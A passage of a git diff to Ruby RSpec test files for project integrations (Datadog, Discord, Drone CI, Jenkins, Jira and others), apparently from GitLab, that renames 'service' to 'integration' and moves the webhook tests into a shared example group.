let(:api_url) { '' }
let(:api_key) { SecureRandom.hex(32) }
let(:dd_env) { 'ci' }
let(:dd_service) { 'awesome-gitlab' }
- let(:expected_hook_url) { default_url + api_key + "?env=#{dd_env}&service=#{dd_service}" }
+ let(:expected_hook_url) { default_url + "?dd-api-key=#{api_key}&env=#{dd_env}&service=#{dd_service}" }
let(:instance) do
described_class.new(
@@ -38,9 +38,9 @@ RSpec.describe Integrations::Datadog do
let(:pipeline_data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
let(:build_data) { Gitlab::DataBuilder::Build.build(build) }
- describe 'associations' do
- it { is_expected.to belong_to(:project) }
- it { is_expected.to have_one(:service_hook) }
+ it_behaves_like Integrations::HasWebHook do
+ let(:integration) { instance }
+ let(:hook_url) { "#{described_class::URL_TEMPLATE % { datadog_domain: dd_site }}?dd-api-key=#{api_key}&env=#{dd_env}&service=#{dd_service}" }
end
describe 'validations' do
@@ -65,7 +65,7 @@ RSpec.describe Integrations::Datadog do
context 'with custom api_url' do
let(:dd_site) { '' }
- let(:api_url) { 'https://webhooks-http-intake.logs.datad0g.com/v1/input/' }
+ let(:api_url) { 'https://webhooks-http-intake.logs.datad0g.com/api/v2/webhook' }
it { is_expected.not_to validate_presence_of(:datadog_site) }
it { is_expected.to validate_presence_of(:api_url) }
@@ -91,7 +91,7 @@ RSpec.describe Integrations::Datadog do
end
end
- context 'when service is not active' do
+ context 'when integration is not active' do
let(:active) { false }
it { is_expected.to be_valid }
@@ -107,9 +107,9 @@ RSpec.describe Integrations::Datadog do
end
context 'with custom URL' do
- let(:api_url) { 'https://webhooks-http-intake.logs.datad0g.com/v1/input/' }
+ let(:api_url) { 'https://webhooks-http-intake.logs.datad0g.com/api/v2/webhook' }
- it { is_expected.to eq(api_url + api_key + "?env=#{dd_env}&service=#{dd_service}") }
+ it { is_expected.to eq(api_url + "?dd-api-key=#{api_key}&env=#{dd_env}&service=#{dd_service}") }
context 'blank' do
let(:api_url) { '' }
@@ -122,7 +122,7 @@ RSpec.describe Integrations::Datadog do
let(:dd_service) { '' }
let(:dd_env) { '' }
- it { is_expected.to eq(default_url + api_key) }
+ it { is_expected.to eq(default_url + "?dd-api-key=#{api_key}") }
end
end
diff --git a/spec/models/integrations/discord_spec.rb b/spec/models/integrations/discord_spec.rb
index bff6a8ee5b2..b85620782c1 100644
--- a/spec/models/integrations/discord_spec.rb
+++ b/spec/models/integrations/discord_spec.rb
@@ -11,7 +11,9 @@ RSpec.describe Integrations::Discord do
embeds: [
include(
author: include(name: be_present),
- description: be_present
+ description: be_present,
+ color: be_present,
+ timestamp: be_present
)
]
}
@@ -33,7 +35,6 @@ RSpec.describe Integrations::Discord do
allow(subject).to receive_messages(
project: project,
project_id: project.id,
- service_hook: true,
webhook: webhook_url
)
@@ -47,15 +48,19 @@ RSpec.describe Integrations::Discord do
allow(client).to receive(:execute).and_yield(builder)
end
- subject.execute(sample_data)
+ freeze_time do
+ subject.execute(sample_data)
- expect(builder.to_json_hash[:embeds].first).to include(
- description: start_with("#{user.name} pushed to branch [master](http://localhost/#{project.namespace.path}/#{project.path}/commits/master) of"),
- author: hash_including(
- icon_url: start_with('https://www.gravatar.com/avatar/'),
- name: user.name
+ expect(builder.to_json_hash[:embeds].first).to include(
+ description: start_with("#{user.name} pushed to branch [master](http://localhost/#{project.namespace.path}/#{project.path}/commits/master) of"),
+ author: hash_including(
+ icon_url: start_with('https://www.gravatar.com/avatar/'),
+ name: user.name
+ ),
+ color: 16543014,
+ timestamp: Time.now.utc.iso8601
)
- )
+ end
end
context 'DNS rebind to local address' do
diff --git a/spec/models/integrations/drone_ci_spec.rb b/spec/models/integrations/drone_ci_spec.rb
index 137f078edca..062e23d628e 100644
--- a/spec/models/integrations/drone_ci_spec.rb
+++ b/spec/models/integrations/drone_ci_spec.rb
@@ -5,11 +5,6 @@ require 'spec_helper'
RSpec.describe Integrations::DroneCi, :use_clean_rails_memory_store_caching do
include ReactiveCachingHelpers
- describe 'associations' do
- it { is_expected.to belong_to(:project) }
- it { is_expected.to have_one(:service_hook) }
- end
-
describe 'validations' do
context 'active' do
before do
@@ -18,7 +13,7 @@ RSpec.describe Integrations::DroneCi, :use_clean_rails_memory_store_caching do
it { is_expected.to validate_presence_of(:token) }
it { is_expected.to validate_presence_of(:drone_url) }
- it_behaves_like 'issue tracker service URL attribute', :drone_url
+ it_behaves_like 'issue tracker integration URL attribute', :drone_url
end
context 'inactive' do
@@ -32,7 +27,15 @@ RSpec.describe Integrations::DroneCi, :use_clean_rails_memory_store_caching do
end
shared_context :drone_ci_integration do
- let(:drone) { described_class.new }
+ subject(:drone) do
+ described_class.new(
+ project: project,
+ active: true,
+ drone_url: drone_url,
+ token: token
+ )
+ end
+
let(:project) { create(:project, :repository, name: 'project') }
let(:path) { project.full_path }
let(:drone_url) { 'http://drone.example.com' }
@@ -45,16 +48,6 @@ RSpec.describe Integrations::DroneCi, :use_clean_rails_memory_store_caching do
let(:build_page) { "#{drone_url}/gitlab/#{path}/redirect/commits/#{sha}?branch=#{branch}" }
let(:commit_status_path) { "#{drone_url}/gitlab/#{path}/commits/#{sha}?branch=#{branch}&access_token=#{token}" }
- before do
- allow(drone).to receive_messages(
- project_id: project.id,
- project: project,
- active: true,
- drone_url: drone_url,
- token: token
- )
- end
-
def stub_request(status: 200, body: nil)
body ||= %q({"status":"success"})
@@ -66,7 +59,21 @@ RSpec.describe Integrations::DroneCi, :use_clean_rails_memory_store_caching do
end
end
- describe "service page/path methods" do
+ it_behaves_like Integrations::HasWebHook do
+ include_context :drone_ci_integration
+
+ let(:integration) { drone }
+ let(:hook_url) { "#{drone_url}/hook?owner=#{project.namespace.full_path}&name=#{project.path}&access_token=#{token}" }
+
+ it 'does not create a hook if project is not present' do
+ integration.project = nil
+ integration.instance = true
+
+ expect { integration.save! }.not_to change(ServiceHook, :count)
+ end
+ end
+
+ describe "integration page/path methods" do
include_context :drone_ci_integration
it { expect(drone.build_page(sha, branch)).to eq(build_page) }
@@ -137,10 +144,17 @@ RSpec.describe Integrations::DroneCi, :use_clean_rails_memory_store_caching do
Gitlab::DataBuilder::Push.build_sample(project, user)
end
- it do
- service_hook = double
- expect(service_hook).to receive(:execute)
- expect(drone).to receive(:service_hook).and_return(service_hook)
+ it 'executes the webhook' do
+ expect(drone).to receive(:execute_web_hook!).with(push_sample_data)
+
+ drone.execute(push_sample_data)
+ end
+
+ it 'does not try to execute the webhook if the integration is not in a project' do
+ drone.project = nil
+ drone.instance = true
+
+ expect(drone).not_to receive(:execute_web_hook!)
drone.execute(push_sample_data)
end
diff --git a/spec/models/integrations/emails_on_push_spec.rb b/spec/models/integrations/emails_on_push_spec.rb
index c82d4bdff9b..bdca267f6cb 100644
--- a/spec/models/integrations/emails_on_push_spec.rb
+++ b/spec/models/integrations/emails_on_push_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Integrations::EmailsOnPush do
let_it_be(:project) { create_default(:project).freeze }
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -14,7 +14,7 @@ RSpec.describe Integrations::EmailsOnPush do
it { is_expected.to validate_presence_of(:recipients) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -27,7 +27,7 @@ RSpec.describe Integrations::EmailsOnPush do
stub_const("#{described_class}::RECIPIENTS_LIMIT", 2)
end
- subject(:service) { described_class.new(project: project, recipients: recipients, active: true) }
+ subject(:integration) { described_class.new(project: project, recipients: recipients, active: true) }
context 'valid number of recipients' do
let(:recipients) { 'foo@bar.com duplicate@example.com Duplicate@example.com invalid-email' }
@@ -43,14 +43,14 @@ RSpec.describe Integrations::EmailsOnPush do
it { is_expected.not_to be_valid }
it 'adds an error message' do
- service.valid?
+ integration.valid?
- expect(service.errors).to contain_exactly('Recipients can\'t exceed 2')
+ expect(integration.errors).to contain_exactly('Recipients can\'t exceed 2')
end
- context 'when service is not active' do
+ context 'when integration is not active' do
before do
- service.active = false
+ integration.active = false
end
it { is_expected.to be_valid }
diff --git a/spec/models/integrations/ewm_spec.rb b/spec/models/integrations/ewm_spec.rb
index 38897adb447..49681fefe55 100644
--- a/spec/models/integrations/ewm_spec.rb
+++ b/spec/models/integrations/ewm_spec.rb
@@ -3,13 +3,8 @@
require 'spec_helper'
RSpec.describe Integrations::Ewm do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -17,12 +12,12 @@ RSpec.describe Integrations::Ewm do
it { is_expected.to validate_presence_of(:project_url) }
it { is_expected.to validate_presence_of(:issues_url) }
it { is_expected.to validate_presence_of(:new_issue_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ it_behaves_like 'issue tracker integration URL attribute', :project_url
+ it_behaves_like 'issue tracker integration URL attribute', :issues_url
+ it_behaves_like 'issue tracker integration URL attribute', :new_issue_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
diff --git a/spec/models/integrations/external_wiki_spec.rb b/spec/models/integrations/external_wiki_spec.rb
index 8c20b810301..e4d6a1c7c84 100644
--- a/spec/models/integrations/external_wiki_spec.rb
+++ b/spec/models/integrations/external_wiki_spec.rb
@@ -3,22 +3,17 @@
require 'spec_helper'
RSpec.describe Integrations::ExternalWiki do
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
it { is_expected.to validate_presence_of(:external_wiki_url) }
- it_behaves_like 'issue tracker service URL attribute', :external_wiki_url
+ it_behaves_like 'issue tracker integration URL attribute', :external_wiki_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
diff --git a/spec/models/integrations/flowdock_spec.rb b/spec/models/integrations/flowdock_spec.rb
index 189831fa32d..daafb1b3958 100644
--- a/spec/models/integrations/flowdock_spec.rb
+++ b/spec/models/integrations/flowdock_spec.rb
@@ -3,13 +3,8 @@
require 'spec_helper'
RSpec.describe Integrations::Flowdock do
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -17,7 +12,7 @@ RSpec.describe Integrations::Flowdock do
it { is_expected.to validate_presence_of(:token) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -38,7 +33,6 @@ RSpec.describe Integrations::Flowdock do
allow(flowdock_integration).to receive_messages(
project_id: project.id,
project: project,
- service_hook: true,
token: 'verySecret'
)
WebMock.stub_request(:post, api_url)
diff --git a/spec/models/integrations/irker_spec.rb b/spec/models/integrations/irker_spec.rb
index a69be1292e0..8b207e8b43e 100644
--- a/spec/models/integrations/irker_spec.rb
+++ b/spec/models/integrations/irker_spec.rb
@@ -5,13 +5,8 @@ require 'socket'
require 'json'
RSpec.describe Integrations::Irker do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -19,7 +14,7 @@ RSpec.describe Integrations::Irker do
it { is_expected.to validate_presence_of(:recipients) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -46,7 +41,6 @@ RSpec.describe Integrations::Irker do
active: true,
project: project,
project_id: project.id,
- service_hook: true,
server_host: @irker_server.addr[2],
server_port: @irker_server.addr[1],
default_irc_uri: 'irc://chat.freenode.net/',
diff --git a/spec/models/integrations/jenkins_spec.rb b/spec/models/integrations/jenkins_spec.rb
index 2374dfe4480..9eb2a7fc098 100644
--- a/spec/models/integrations/jenkins_spec.rb
+++ b/spec/models/integrations/jenkins_spec.rb
@@ -24,14 +24,14 @@ RSpec.describe Integrations::Jenkins do
let(:jenkins_authorization) { "Basic " + ::Base64.strict_encode64(jenkins_username + ':' + jenkins_password) }
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
+ it_behaves_like Integrations::HasWebHook do
+ let(:integration) { described_class.new(jenkins_params) }
+ let(:hook_url) { "http://#{ERB::Util.url_encode jenkins_username}:#{ERB::Util.url_encode jenkins_password}@jenkins.example.com/project/my_project" }
end
describe 'username validation' do
- before do
- @jenkins_service = described_class.create!(
+ let(:jenkins_integration) do
+ described_class.create!(
active: active,
project: project,
properties: {
@@ -43,9 +43,9 @@ RSpec.describe Integrations::Jenkins do
)
end
- subject { @jenkins_service }
+ subject { jenkins_integration }
- context 'when the service is active' do
+ context 'when the integration is active' do
let(:active) { true }
context 'when password was not touched' do
@@ -74,7 +74,7 @@ RSpec.describe Integrations::Jenkins do
end
end
- context 'when the service is inactive' do
+ context 'when the integration is inactive' do
let(:active) { false }
it { is_expected.not_to validate_presence_of :username }
@@ -84,7 +84,7 @@ RSpec.describe Integrations::Jenkins do
describe '#hook_url' do
let(:username) { nil }
let(:password) { nil }
- let(:jenkins_service) do
+ let(:jenkins_integration) do
described_class.new(
project: project,
properties: {
@@ -96,7 +96,7 @@ RSpec.describe Integrations::Jenkins do
)
end
- subject { jenkins_service.hook_url }
+ subject { jenkins_integration.hook_url }
context 'when the jenkins_url has no relative path' do
let(:jenkins_url) { 'http://jenkins.example.com/' }
@@ -138,10 +138,10 @@ RSpec.describe Integrations::Jenkins do
user = create(:user, username: 'username')
project = create(:project, name: 'project')
push_sample_data = Gitlab::DataBuilder::Push.build_sample(project, user)
- jenkins_service = described_class.create!(jenkins_params)
+ jenkins_integration = described_class.create!(jenkins_params)
stub_request(:post, jenkins_hook_url).with(headers: { 'Authorization' => jenkins_authorization })
- result = jenkins_service.test(push_sample_data)
+ result = jenkins_integration.test(push_sample_data)
expect(result).to eq({ success: true, result: '' })
end
@@ -152,20 +152,20 @@ RSpec.describe Integrations::Jenkins do
let(:namespace) { create(:group, :private) }
let(:project) { create(:project, :private, name: 'project', namespace: namespace) }
let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
- let(:jenkins_service) { described_class.create!(jenkins_params) }
+ let(:jenkins_integration) { described_class.create!(jenkins_params) }
before do
stub_request(:post, jenkins_hook_url)
end
it 'invokes the Jenkins API' do
- jenkins_service.execute(push_sample_data)
+ jenkins_integration.execute(push_sample_data)
expect(a_request(:post, jenkins_hook_url)).to have_been_made.once
end
it 'adds default web hook headers to the request' do
- jenkins_service.execute(push_sample_data)
+ jenkins_integration.execute(push_sample_data)
expect(
a_request(:post, jenkins_hook_url)
@@ -174,7 +174,7 @@ RSpec.describe Integrations::Jenkins do
end
it 'request url contains properly serialized username and password' do
- jenkins_service.execute(push_sample_data)
+ jenkins_integration.execute(push_sample_data)
expect(
a_request(:post, 'http://jenkins.example.com/project/my_project')
@@ -187,8 +187,8 @@ RSpec.describe Integrations::Jenkins do
let(:project) { create(:project) }
context 'when a password was previously set' do
- before do
- @jenkins_service = described_class.create!(
+ let(:jenkins_integration) do
+ described_class.create!(
project: project,
properties: {
jenkins_url: 'http://jenkins.example.com/',
@@ -199,42 +199,47 @@ RSpec.describe Integrations::Jenkins do
end
it 'resets password if url changed' do
- @jenkins_service.jenkins_url = 'http://jenkins-edited.example.com/'
- @jenkins_service.save!
- expect(@jenkins_service.password).to be_nil
+ jenkins_integration.jenkins_url = 'http://jenkins-edited.example.com/'
+ jenkins_integration.save!
+
+ expect(jenkins_integration.password).to be_nil
end
it 'resets password if username is blank' do
- @jenkins_service.username = ''
- @jenkins_service.save!
- expect(@jenkins_service.password).to be_nil
+ jenkins_integration.username = ''
+ jenkins_integration.save!
+
+ expect(jenkins_integration.password).to be_nil
end
it 'does not reset password if username changed' do
- @jenkins_service.username = 'some_name'
- @jenkins_service.save!
- expect(@jenkins_service.password).to eq('password')
+ jenkins_integration.username = 'some_name'
+ jenkins_integration.save!
+
+ expect(jenkins_integration.password).to eq('password')
end
it 'does not reset password if new url is set together with password, even if it\'s the same password' do
- @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
- @jenkins_service.password = 'password'
- @jenkins_service.save!
- expect(@jenkins_service.password).to eq('password')
- expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
+ jenkins_integration.jenkins_url = 'http://jenkins_edited.example.com/'
+ jenkins_integration.password = 'password'
+ jenkins_integration.save!
+
+ expect(jenkins_integration.password).to eq('password')
+ expect(jenkins_integration.jenkins_url).to eq('http://jenkins_edited.example.com/')
end
it 'resets password if url changed, even if setter called multiple times' do
- @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
- @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
- @jenkins_service.save!
- expect(@jenkins_service.password).to be_nil
+ jenkins_integration.jenkins_url = 'http://jenkins1.example.com/'
+ jenkins_integration.jenkins_url = 'http://jenkins1.example.com/'
+ jenkins_integration.save!
+
+ expect(jenkins_integration.password).to be_nil
end
end
context 'when no password was previously set' do
- before do
- @jenkins_service = described_class.create!(
+ let(:jenkins_integration) do
+ described_class.create!(
project: create(:project),
properties: {
jenkins_url: 'http://jenkins.example.com/',
@@ -244,11 +249,12 @@ RSpec.describe Integrations::Jenkins do
end
it 'saves password if new url is set together with password' do
- @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
- @jenkins_service.password = 'password'
- @jenkins_service.save!
- expect(@jenkins_service.password).to eq('password')
- expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
+ jenkins_integration.jenkins_url = 'http://jenkins_edited.example.com/'
+ jenkins_integration.password = 'password'
+ jenkins_integration.save!
+
+ expect(jenkins_integration.password).to eq('password')
+ expect(jenkins_integration.jenkins_url).to eq('http://jenkins_edited.example.com/')
end
end
end
diff --git a/spec/models/integrations/jira_spec.rb b/spec/models/integrations/jira_spec.rb
index 23ade570383..6ca72d68bbb 100644
--- a/spec/models/integrations/jira_spec.rb
+++ b/spec/models/integrations/jira_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Integrations::Jira do
let(:password) { 'jira-password' }
let(:transition_id) { 'test27' }
let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
- let(:jira_service) do
+ let(:jira_integration) do
described_class.new(
project: project,
url: url,
@@ -100,20 +100,15 @@ RSpec.describe Integrations::Jira do
end
describe '#fields' do
- let(:service) { create(:jira_service) }
+ let(:integration) { create(:jira_integration) }
- subject(:fields) { service.fields }
+ subject(:fields) { integration.fields }
it 'returns custom fields' do
expect(fields.pluck(:name)).to eq(%w[url api_url username password])
end
end
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe '.reference_pattern' do
using RSpec::Parameterized::TableSyntax
@@ -146,39 +141,35 @@ RSpec.describe Integrations::Jira do
}
end
- subject { described_class.create!(params) }
+ subject(:integration) { described_class.create!(params) }
it 'does not store data into properties' do
- expect(subject.properties).to be_nil
+ expect(integration.properties).to be_nil
end
it 'stores data in data_fields correctly' do
- service = subject
-
- expect(service.jira_tracker_data.url).to eq(url)
- expect(service.jira_tracker_data.api_url).to eq(api_url)
- expect(service.jira_tracker_data.username).to eq(username)
- expect(service.jira_tracker_data.password).to eq(password)
- expect(service.jira_tracker_data.jira_issue_transition_id).to eq(transition_id)
- expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
+ expect(integration.jira_tracker_data.url).to eq(url)
+ expect(integration.jira_tracker_data.api_url).to eq(api_url)
+ expect(integration.jira_tracker_data.username).to eq(username)
+ expect(integration.jira_tracker_data.password).to eq(password)
+ expect(integration.jira_tracker_data.jira_issue_transition_id).to eq(transition_id)
+ expect(integration.jira_tracker_data.deployment_cloud?).to be_truthy
end
context 'when loading serverInfo' do
- let(:jira_service) { subject }
-
- context 'from a Cloud instance' do
+ context 'with a Cloud instance' do
let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
it 'is detected' do
- expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
+ expect(integration.jira_tracker_data).to be_deployment_cloud
end
end
- context 'from a Server instance' do
+ context 'with a Server instance' do
let(:server_info_results) { { 'deploymentType' => 'Server' } }
it 'is detected' do
- expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
+ expect(integration.jira_tracker_data).to be_deployment_server
end
end
@@ -189,7 +180,7 @@ RSpec.describe Integrations::Jira do
let(:api_url) { 'http://example-api.atlassian.net' }
it 'deployment_type is set to cloud' do
- expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
+ expect(integration.jira_tracker_data).to be_deployment_cloud
end
end
@@ -197,7 +188,7 @@ RSpec.describe Integrations::Jira do
let(:api_url) { 'http://my-jira-api.someserver.com' }
it 'deployment_type is set to server' do
- expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
+ expect(integration.jira_tracker_data).to be_deployment_server
end
end
end
@@ -210,7 +201,7 @@ RSpec.describe Integrations::Jira do
it 'deployment_type is set to cloud' do
expect(Gitlab::AppLogger).to receive(:warn).with(message: "Jira API returned no ServerInfo, setting deployment_type from URL", server_info: server_info_results, url: api_url)
- expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
+ expect(integration.jira_tracker_data).to be_deployment_cloud
end
end
@@ -219,7 +210,7 @@ RSpec.describe Integrations::Jira do
it 'deployment_type is set to server' do
expect(Gitlab::AppLogger).to receive(:warn).with(message: "Jira API returned no ServerInfo, setting deployment_type from URL", server_info: server_info_results, url: api_url)
- expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
+ expect(integration.jira_tracker_data).to be_deployment_server
end
end
end
@@ -253,11 +244,11 @@ RSpec.describe Integrations::Jira do
context 'reading data' do
it 'reads data correctly' do
- expect(service.url).to eq(url)
- expect(service.api_url).to eq(api_url)
- expect(service.username).to eq(username)
- expect(service.password).to eq(password)
- expect(service.jira_issue_transition_id).to eq(transition_id)
+ expect(integration.url).to eq(url)
+ expect(integration.api_url).to eq(api_url)
+ expect(integration.username).to eq(username)
+ expect(integration.password).to eq(password)
+ expect(integration.jira_issue_transition_id).to eq(transition_id)
end
end
@@ -267,15 +258,11 @@ RSpec.describe Integrations::Jira do
let_it_be(:new_url) { 'http://jira-new.example.com' }
before do
- service.update!(username: new_username, url: new_url)
- end
-
- it 'leaves properties field emtpy' do
- # expect(service.reload.properties).to be_empty
+ integration.update!(username: new_username, url: new_url)
end
it 'stores updated data in jira_tracker_data table' do
- data = service.jira_tracker_data.reload
+ data = integration.jira_tracker_data.reload
expect(data.url).to eq(new_url)
expect(data.api_url).to eq(api_url)
@@ -288,15 +275,15 @@ RSpec.describe Integrations::Jira do
context 'when updating the url, api_url, username, or password' do
context 'when updating the integration' do
it 'updates deployment type' do
- service.update!(url: 'http://first.url')
- service.jira_tracker_data.update!(deployment_type: 'server')
+ integration.update!(url: 'http://first.url')
+ integration.jira_tracker_data.update!(deployment_type: 'server')
- expect(service.jira_tracker_data.deployment_server?).to be_truthy
+ expect(integration.jira_tracker_data.deployment_server?).to be_truthy
- service.update!(api_url: 'http://another.url')
- service.jira_tracker_data.reload
+ integration.update!(api_url: 'http://another.url')
+ integration.jira_tracker_data.reload
- expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
+ expect(integration.jira_tracker_data.deployment_cloud?).to be_truthy
expect(WebMock).to have_requested(:get, /serverInfo/).twice
end
end
@@ -305,34 +292,34 @@ RSpec.describe Integrations::Jira do
let(:server_info_results) { {} }
it 'updates deployment type' do
- service.update!(url: nil, api_url: nil, active: false)
+ integration.update!(url: nil, api_url: nil, active: false)
- service.jira_tracker_data.reload
+ integration.jira_tracker_data.reload
- expect(service.jira_tracker_data.deployment_unknown?).to be_truthy
+ expect(integration.jira_tracker_data.deployment_unknown?).to be_truthy
end
end
it 'calls serverInfo for url' do
- service.update!(url: 'http://first.url')
+ integration.update!(url: 'http://first.url')
expect(WebMock).to have_requested(:get, /serverInfo/)
end
it 'calls serverInfo for api_url' do
- service.update!(api_url: 'http://another.url')
+ integration.update!(api_url: 'http://another.url')
expect(WebMock).to have_requested(:get, /serverInfo/)
end
it 'calls serverInfo for username' do
- service.update!(username: 'test-user')
+ integration.update!(username: 'test-user')
expect(WebMock).to have_requested(:get, /serverInfo/)
end
it 'calls serverInfo for password' do
- service.update!(password: 'test-password')
+ integration.update!(password: 'test-password')
expect(WebMock).to have_requested(:get, /serverInfo/)
end
@@ -340,7 +327,8 @@ RSpec.describe Integrations::Jira do
context 'when not updating the url, api_url, username, or password' do
it 'does not update deployment type' do
- expect {service.update!(jira_issue_transition_id: 'jira_issue_transition_id')}.to raise_error(ActiveRecord::RecordInvalid)
+ expect { integration.update!(jira_issue_transition_id: 'jira_issue_transition_id') }
+ .to raise_error(ActiveRecord::RecordInvalid)
expect(WebMock).not_to have_requested(:get, /serverInfo/)
end
@@ -348,9 +336,9 @@ RSpec.describe Integrations::Jira do
context 'when not allowed to test an instance or group' do
it 'does not update deployment type' do
- allow(service).to receive(:can_test?).and_return(false)
+ allow(integration).to receive(:testable?).and_return(false)
- service.update!(url: 'http://first.url')
+ integration.update!(url: 'http://first.url')
expect(WebMock).not_to have_requested(:get, /serverInfo/)
end
@@ -368,68 +356,68 @@ RSpec.describe Integrations::Jira do
end
it 'resets password if url changed' do
- service
- service.url = 'http://jira_edited.example.com'
- service.save!
+ integration
+ integration.url = 'http://jira_edited.example.com'
+ integration.save!
- expect(service.reload.url).to eq('http://jira_edited.example.com')
- expect(service.password).to be_nil
+ expect(integration.reload.url).to eq('http://jira_edited.example.com')
+ expect(integration.password).to be_nil
end
it 'does not reset password if url "changed" to the same url as before' do
- service.url = 'http://jira.example.com'
- service.save!
+ integration.url = 'http://jira.example.com'
+ integration.save!
- expect(service.reload.url).to eq('http://jira.example.com')
- expect(service.password).not_to be_nil
+ expect(integration.reload.url).to eq('http://jira.example.com')
+ expect(integration.password).not_to be_nil
end
it 'resets password if url not changed but api url added' do
- service.api_url = 'http://jira_edited.example.com/rest/api/2'
- service.save!
+ integration.api_url = 'http://jira_edited.example.com/rest/api/2'
+ integration.save!
- expect(service.reload.api_url).to eq('http://jira_edited.example.com/rest/api/2')
- expect(service.password).to be_nil
+ expect(integration.reload.api_url).to eq('http://jira_edited.example.com/rest/api/2')
+ expect(integration.password).to be_nil
end
it 'does not reset password if new url is set together with password, even if it\'s the same password' do
- service.url = 'http://jira_edited.example.com'
- service.password = password
- service.save!
+ integration.url = 'http://jira_edited.example.com'
+ integration.password = password
+ integration.save!
- expect(service.password).to eq(password)
- expect(service.url).to eq('http://jira_edited.example.com')
+ expect(integration.password).to eq(password)
+ expect(integration.url).to eq('http://jira_edited.example.com')
end
it 'resets password if url changed, even if setter called multiple times' do
- service.url = 'http://jira1.example.com/rest/api/2'
- service.url = 'http://jira1.example.com/rest/api/2'
- service.save!
+ integration.url = 'http://jira1.example.com/rest/api/2'
+ integration.url = 'http://jira1.example.com/rest/api/2'
+ integration.save!
- expect(service.password).to be_nil
+ expect(integration.password).to be_nil
end
it 'does not reset password if username changed' do
- service.username = 'some_name'
- service.save!
+ integration.username = 'some_name'
+ integration.save!
- expect(service.reload.password).to eq(password)
+ expect(integration.reload.password).to eq(password)
end
it 'does not reset password if password changed' do
- service.url = 'http://jira_edited.example.com'
- service.password = 'new_password'
- service.save!
+ integration.url = 'http://jira_edited.example.com'
+ integration.password = 'new_password'
+ integration.save!
- expect(service.reload.password).to eq('new_password')
+ expect(integration.reload.password).to eq('new_password')
end
it 'does not reset password if the password is touched and same as before' do
- service.url = 'http://jira_edited.example.com'
- service.password = password
- service.save!
+ integration.url = 'http://jira_edited.example.com'
+ integration.password = password
+ integration.save!
- expect(service.reload.password).to eq(password)
+ expect(integration.reload.password).to eq(password)
end
end
@@ -443,23 +431,23 @@ RSpec.describe Integrations::Jira do
end
it 'resets password if api url changed' do
- service.api_url = 'http://jira_edited.example.com/rest/api/2'
- service.save!
+ integration.api_url = 'http://jira_edited.example.com/rest/api/2'
+ integration.save!
- expect(service.password).to be_nil
+ expect(integration.password).to be_nil
end
it 'does not reset password if url changed' do
- service.url = 'http://jira_edited.example.com'
- service.save!
+ integration.url = 'http://jira_edited.example.com'
+ integration.save!
- expect(service.password).to eq(password)
+ expect(integration.password).to eq(password)
end
it 'resets password if api url set to empty' do
- service.update!(api_url: '')
+ integration.update!(api_url: '')
- expect(service.reload.password).to be_nil
+ expect(integration.reload.password).to be_nil
end
end
end
@@ -472,11 +460,11 @@ RSpec.describe Integrations::Jira do
end
it 'saves password if new url is set together with password' do
- service.url = 'http://jira_edited.example.com/rest/api/2'
- service.password = 'password'
- service.save!
- expect(service.reload.password).to eq('password')
- expect(service.reload.url).to eq('http://jira_edited.example.com/rest/api/2')
+ integration.url = 'http://jira_edited.example.com/rest/api/2'
+ integration.password = 'password'
+ integration.save!
+ expect(integration.reload.password).to eq('password')
+ expect(integration.reload.url).to eq('http://jira_edited.example.com/rest/api/2')
end
end
end
@@ -486,16 +474,16 @@ RSpec.describe Integrations::Jira do
# this will be removed as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
context 'when data are stored in properties' do
let(:properties) { data_params }
- let!(:service) do
- create(:jira_service, :without_properties_callback, properties: properties.merge(additional: 'something'))
+ let!(:integration) do
+ create(:jira_integration, :without_properties_callback, properties: properties.merge(additional: 'something'))
end
it_behaves_like 'handles jira fields'
end
context 'when data are stored in separated fields' do
- let(:service) do
- create(:jira_service, data_params.merge(properties: {}))
+ let(:integration) do
+ create(:jira_integration, data_params.merge(properties: {}))
end
